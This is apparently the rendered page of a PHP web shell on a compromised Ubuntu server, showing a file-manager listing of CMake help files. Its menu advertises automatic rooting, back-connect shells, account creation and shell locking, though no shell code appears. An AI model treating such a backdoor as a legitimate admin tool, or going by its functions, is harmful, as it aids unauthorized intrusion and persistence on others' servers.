Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
cmake-3.22 /
Help /
prop_sf /
[ HOME SHELL ]
Name
Size
Permission
Action
ABSTRACT.rst
309
B
-rw-r--r--
AUTORCC_OPTIONS.rst
611
B
-rw-r--r--
AUTOUIC_OPTIONS.rst
603
B
-rw-r--r--
COMPILE_DEFINITIONS.rst
1.3
KB
-rw-r--r--
COMPILE_DEFINITIONS_CONFIG.rst
399
B
-rw-r--r--
COMPILE_FLAGS.rst
914
B
-rw-r--r--
COMPILE_OPTIONS.rst
1.27
KB
-rw-r--r--
EXTERNAL_OBJECT.rst
237
B
-rw-r--r--
Fortran_FORMAT.rst
510
B
-rw-r--r--
Fortran_PREPROCESS.rst
756
B
-rw-r--r--
GENERATED.rst
2.02
KB
-rw-r--r--
HEADER_FILE_ONLY.rst
1.17
KB
-rw-r--r--
INCLUDE_DIRECTORIES.rst
852
B
-rw-r--r--
KEEP_EXTENSION.rst
351
B
-rw-r--r--
LABELS.rst
235
B
-rw-r--r--
LANGUAGE.rst
755
B
-rw-r--r--
LOCATION.rst
138
B
-rw-r--r--
MACOSX_PACKAGE_LOCATION.rst
1.66
KB
-rw-r--r--
OBJECT_DEPENDS.rst
1.08
KB
-rw-r--r--
OBJECT_OUTPUTS.rst
454
B
-rw-r--r--
SKIP_AUTOGEN.rst
397
B
-rw-r--r--
SKIP_AUTOMOC.rst
301
B
-rw-r--r--
SKIP_AUTORCC.rst
303
B
-rw-r--r--
SKIP_AUTOUIC.rst
505
B
-rw-r--r--
SKIP_PRECOMPILE_HEADERS.rst
552
B
-rw-r--r--
SKIP_UNITY_BUILD_INCLUSION.rst
532
B
-rw-r--r--
SYMBOLIC.rst
238
B
-rw-r--r--
Swift_DEPENDENCIES_FILE.rst
228
B
-rw-r--r--
Swift_DIAGNOSTICS_FILE.rst
138
B
-rw-r--r--
UNITY_GROUP.rst
173
B
-rw-r--r--
VS_COPY_TO_OUT_DIR.rst
217
B
-rw-r--r--
VS_CSHARP_tagname.rst
648
B
-rw-r--r--
VS_DEPLOYMENT_CONTENT.rst
577
B
-rw-r--r--
VS_DEPLOYMENT_LOCATION.rst
426
B
-rw-r--r--
VS_INCLUDE_IN_VSIX.rst
252
B
-rw-r--r--
VS_RESOURCE_GENERATOR.rst
251
B
-rw-r--r--
VS_SETTINGS.rst
636
B
-rw-r--r--
VS_SHADER_DISABLE_OPTIMIZATION...
304
B
-rw-r--r--
VS_SHADER_ENABLE_DEBUG.rst
290
B
-rw-r--r--
VS_SHADER_ENTRYPOINT.rst
147
B
-rw-r--r--
VS_SHADER_FLAGS.rst
126
B
-rw-r--r--
VS_SHADER_MODEL.rst
172
B
-rw-r--r--
VS_SHADER_OBJECT_FILE_NAME.rst
240
B
-rw-r--r--
VS_SHADER_OUTPUT_HEADER_FILE.r...
170
B
-rw-r--r--
VS_SHADER_TYPE.rst
116
B
-rw-r--r--
VS_SHADER_VARIABLE_NAME.rst
160
B
-rw-r--r--
VS_TOOL_OVERRIDE.rst
194
B
-rw-r--r--
VS_XAML_TYPE.rst
260
B
-rw-r--r--
WRAP_EXCLUDE.rst
357
B
-rw-r--r--
XCODE_EXPLICIT_FILE_TYPE.rst
313
B
-rw-r--r--
XCODE_FILE_ATTRIBUTES.rst
347
B
-rw-r--r--
XCODE_LAST_KNOWN_FILE_TYPE.rst
362
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : KEEP_EXTENSION.rst
KEEP_EXTENSION -------------- Make the output file have the same extension as the source file. If this property is set then the file extension of the output file will be the same as that of the source file. Normally the output file extension is computed based on the language of the source file, for example ``.cxx`` will go to a ``.o`` extension.
Close